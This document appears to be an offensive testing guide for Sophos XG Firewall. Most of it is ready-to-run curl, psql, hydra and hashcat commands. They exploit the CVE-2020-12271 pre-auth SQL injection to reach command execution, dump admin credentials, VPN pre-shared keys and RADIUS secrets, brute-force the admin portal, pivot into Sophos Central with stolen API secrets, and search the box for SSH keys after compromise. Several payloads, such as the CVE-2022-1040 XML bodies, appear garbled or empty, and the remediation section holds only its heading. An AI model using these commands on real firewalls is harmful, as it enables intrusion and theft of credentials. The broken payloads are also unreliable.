Sophos XG Firewall Security Testing: CVE-2020-12271 SQL Injection, RCE, and Admin Credential Exposure

Sophos Firewall Attack Surface

Sophos Firewall exposes multiple management interfaces, each with different security profiles:

Reconnaissance

# Identify Sophos XG/Firewall devices
nmap -sV -p 443,4444,8443,22,161 --script=http-title,ssl-cert TARGET

# Sophos XG presents a distinctive login page at :4444
curl -sk https://TARGET:4444/webconsole/webpages/login.jsp -I | head -20

# User portal fingerprint (CVE-2020-12271 attack surface)
curl -sk https://TARGET/userportal/Controller -I | grep -i "sophos\|x-powered"

# Check Sophos version from login page metadata
curl -sk https://TARGET:4444/webconsole/webpages/login.jsp | grep -i "version\|sophos xg\|firmware"

# SSL certificate CN often reveals hostname
openssl s_client -connect TARGET:4444 2>/dev/null | openssl x509 -noout -subject

CVE-2020-12271: Pre-Authentication SQL Injection to RCE

CVE-2020-12271 is a critical pre-authentication SQL injection vulnerability in Sophos XG Firewall's administration interface via the /userportal/Controller endpoint. Exploited by the Asnarok threat actor group in April 2020, it enables attackers without any credentials to execute arbitrary commands on the firewall OS, download configuration including hashed admin credentials and plaintext VPN passwords, and install persistent malware.

Vulnerability Details

The vulnerable parameter is physicaldiskpercentread in a POST request to the XML API endpoint. The underlying database is PostgreSQL, running as the nobody user. PostgreSQL's COPY TO/FROM PROGRAM feature allows OS command execution from SQL queries.

# CVE-2020-12271 — Pre-authentication SQL injection via physicaldiskpercentread
# The endpoint /userportal/Controller?mode=10 does not require authentication

# Step 1: Verify SQL injection point
curl -sk -X POST "https://TARGET/userportal/Controller?mode=10" \
  --data "physicaldiskpercentread=1;SELECT+pg_sleep(5)--" \
  -w "Time: %{time_total}\n" -o /dev/null

# If response takes ~5 seconds, SQL injection is present

# Step 2: Test OS command execution via PostgreSQL COPY FROM PROGRAM
curl -sk -X POST "https://TARGET/userportal/Controller?mode=10" \
  --data "physicaldiskpercentread=1;COPY+cmd_output+FROM+PROGRAM+'id+>+/tmp/test.txt'--"

# Step 3: Read command output
curl -sk -X POST "https://TARGET/userportal/Controller?mode=10" \
  --data "physicaldiskpercentread=1;COPY+cmd_output+TO+STDOUT"

# Step 4: Extract admin credentials (Asnarok-style attack)
# The Sophos XG database contains admin credentials in the UserAccounts table
curl -sk -X POST "https://TARGET/userportal/Controller?mode=10" \
  --data "physicaldiskpercentread=1;COPY+(SELECT+username,password+FROM+UserAccounts+WHERE+usertype='Administrator')+TO+STDOUT"

Database Schema Enumeration

# Enumerate available PostgreSQL tables
curl -sk -X POST "https://TARGET/userportal/Controller?mode=10" \
  --data "physicaldiskpercentread=1;COPY+(SELECT+tablename+FROM+pg_tables+WHERE+schemaname='public')+TO+STDOUT"

# Extract relevant tables
# - UserAccounts: local users with hashed passwords
# - IpsecProfiles: IPsec VPN profiles with PSKs
# - VpnL2tpProfiles: L2TP VPN configurations
# - RemoteAccessProfiles: SSL VPN users
# - AdministratorProfiles: admin accounts

# Dump the administrator table
curl -sk -X POST "https://TARGET/userportal/Controller?mode=10" \
  --data "physicaldiskpercentread=1;COPY+(SELECT+*+FROM+AdministratorProfiles)+TO+STDOUT"

CVE-2022-1040: Authentication Bypass (CVSS 9.8)

CVE-2022-1040 is an authentication bypass vulnerability in the Sophos Firewall User Portal and Web Admin interface (versions 18.5 MR3 and earlier). Exploited by Chinese state-sponsored APT groups (TA413), it allows unauthenticated attackers to execute code in the User Portal and Web Admin, effectively giving complete control over the firewall without valid credentials.

# CVE-2022-1040 — Authentication bypass in User Portal / Web Admin
# Affects Sophos Firewall v18.5 MR3 (18.5.3) and earlier

# Check version
curl -sk https://TARGET:4444/webconsole/webpages/login.jsp | grep -i "version\|18\.5"

# Bypass authentication on the User Portal
# The vulnerability involves manipulating session state in the web application
curl -sk -X POST "https://TARGET/userportal/Controller?mode=151" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "requesttype=xmlapi&xml=bypassbypass"

# Web Admin bypass
curl -sk -X POST "https://TARGET:4444/webconsole/Controller?mode=151" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "requesttype=xmlapi&xml=bypassbypass"

# After bypass — execute admin API calls without authentication
curl -sk -X POST "https://TARGET:4444/webconsole/Controller" \
  -H "Cookie: [session_from_bypass]" \
  --data "requesttype=xmlapi&xml=attackerP@ssw0rd!Administrator"

Admin Portal Attacks

Credential Brute Force

# Sophos Firewall admin portal at :4444
# Default credentials to test:
# admin / admin
# admin / 1234
# Administrator / password

# Brute force the admin login form
hydra -L users.txt -P passwords.txt -s 4444 -S TARGET https-post-form \
  "/webconsole/Controller:mode=1&requesttype=ajax&username=^USER^&password=^PASS^:INVALID"

# Alternative — use Burp Suite Intruder for token-based login forms
# The login form includes a CSRF token — capture it first
TOKEN=$(curl -sk https://TARGET:4444/webconsole/webpages/login.jsp | grep -oP 'csrf_token[^"]*"[^"]*"[^"]*"([^"]+)"' | tail -1)

curl -sk -X POST "https://TARGET:4444/webconsole/Controller" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "mode=1&requesttype=ajax&username=admin&password=admin&csrf_token=$TOKEN" -c cookies.txt

# Check for successful authentication (200 with session cookie vs 401/redirect)
grep -i "PHPSESSID\|ASP.NET_SessionId" cookies.txt

XML API Exploitation

# Sophos Firewall exposes a comprehensive XML API (used by Sophos Central)
# Once authenticated, all configuration is available via API

# Get all local users
curl -sk -X POST "https://TARGET:4444/webconsole/Controller" \
  -H "Cookie: $SESSION_COOKIE" \
  --data "requesttype=xmlapi&xml="

# Get all firewall rules
curl -sk -X POST "https://TARGET:4444/webconsole/Controller" \
  -H "Cookie: $SESSION_COOKIE" \
  --data "requesttype=xmlapi&xml="

# Get VPN configuration (including PSKs)
curl -sk -X POST "https://TARGET:4444/webconsole/Controller" \
  -H "Cookie: $SESSION_COOKIE" \
  --data "requesttype=xmlapi&xml="

PostgreSQL Credential Extraction

Sophos Firewall uses PostgreSQL as its configuration database. If OS access is obtained (via CVE-2020-12271 or CVE-2022-1040), the complete credential database is accessible.

# If OS access via SQL injection or RCE — connect to local PostgreSQL
# PostgreSQL runs on localhost with no password for the 'postgres' role

# Direct PostgreSQL access
psql -U postgres -h 127.0.0.1 garner

# Enumerate databases
\list

# Connect to main Sophos database
\connect garner

# List all tables
\dt public.*

# Extract admin users
SELECT username, password, usertype, emailaddress FROM UserAccounts
WHERE usertype IN ('Administrator', 'Superadmin');

# Extract local user passwords (for VPN users)
SELECT username, password, name FROM LocalUser;

# SSL VPN user credentials
SELECT username, password FROM RemoteAccessUser;

# IPsec PSKs
SELECT name, presharedkey, authentication FROM IPSECProfile;

# RADIUS server shared secrets
SELECT servername, sharedsecret, port FROM RadiusServer;

Password Hash Analysis

# Sophos XG stores passwords as SHA-256 hashes (older versions: MD5)
# Extract and crack offline

# SHA-256 hashes from admin accounts
hashcat -m 1400 sophos-hashes.txt /usr/share/wordlists/rockyou.txt

# MD5 hashes (older XG versions)
hashcat -m 0 sophos-md5-hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper alternative
john --format=raw-sha256 sophos-hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Sophos Central API Abuse

Sophos Central is the cloud management platform for Sophos products. If the firewall is enrolled in Sophos Central, its API token may be stored on the device and used to pivot to the broader Sophos Central tenant.

# Check if device is enrolled in Sophos Central
# The enrollment token/key is stored in configuration
grep -r "central\|sophoscentral" /etc/sophos/ 2>/dev/null
grep -r "api.central.sophos.com" /etc/sophos/ 2>/dev/null

# Via XML API — get Central enrollment status
curl -sk -X POST "https://TARGET:4444/webconsole/Controller" \
  -H "Cookie: $SESSION_COOKIE" \
  --data "requesttype=xmlapi&xml="

# If Central API credentials are found, use them to enumerate the tenant
# Sophos Central API authentication
CLIENT_ID="extracted-client-id"
CLIENT_SECRET="extracted-client-secret"

TOKEN=$(curl -s -X POST "https://id.sophos.com/api/v2/oauth2/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&scope=token" \
  | python3 -c "import json,sys; print(json.load(sys.stdin).get('access_token',''))")

# Get tenant information
curl -s "https://api.central.sophos.com/whoami/v1" \
  -H "Authorization: Bearer $TOKEN"

# List all managed devices in the tenant
curl -s "https://api.central.sophos.com/endpoint/v1/endpoints" \
  -H "Authorization: Bearer $TOKEN" \
  -H "X-Tenant-ID: $TENANT_ID"

SSL VPN Credential Harvesting

# Sophos XG SSL VPN portal (Sophos Connect client)
# If admin access obtained, extract active VPN sessions and user credentials

# List active SSL VPN sessions
curl -sk -X POST "https://TARGET:4444/webconsole/Controller" \
  -H "Cookie: $SESSION_COOKIE" \
  --data "requesttype=xmlapi&xml="

# Export SSL VPN configuration bundle (for specific users — contains client cert/key)
curl -sk "https://TARGET/userportal/Controller?mode=13&username=TARGET_USER" \
  -H "Cookie: $USER_SESSION" --output vpn-config.tar.gz

# The exported bundle contains:
# - CA certificate
# - User certificate and private key
# - OpenVPN configuration file
# - Contains enough to authenticate as that user from any location

# Extract certificate from bundle
tar -xzf vpn-config.tar.gz
cat config/client-cert.pem
cat config/client-key.pem

IPsec Pre-Shared Key Extraction

# IPsec VPN PSKs are high-value targets — they authenticate site-to-site tunnels
# PSKs in Sophos XG may be stored in the database or config files

# Via XML API
curl -sk -X POST "https://TARGET:4444/webconsole/Controller" \
  -H "Cookie: $SESSION_COOKIE" \
  --data "requesttype=xmlapi&xml=Name*"

# Via PostgreSQL (if OS access)
psql -U postgres garner -c "SELECT name, activatedon, presharedkey,
  remotegateways, local_network, remote_network
  FROM IPSECConnection ORDER BY name;"

# L2TP credentials (Windows native VPN)
psql -U postgres garner -c "SELECT username, password FROM L2TPUser;"

Post-Exploitation

# With OS access to Sophos Firewall — network position is privileged
# The firewall sits between segments — routes to all internal networks

# Dump routing table to map network topology
ip route show
route -n

# ARP cache — identifies live hosts
arp -a

# Active network connections — what hosts are connecting
ss -tnp
netstat -tnp

# View all firewall rules (identify allowed traffic paths)
iptables -L -n -v

# Packet capture — position for credential interception
# (Requires appropriate authorization in pentest scope)
tcpdump -i eth0 -w /tmp/capture.pcap

# Extract certificates and private keys
find /etc /opt /var -name "*.pem" -o -name "*.key" -o -name "*.p12" 2>/dev/null

# SSH private keys (for lateral movement to other network devices)
find /root /home -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null

Remediation Checklist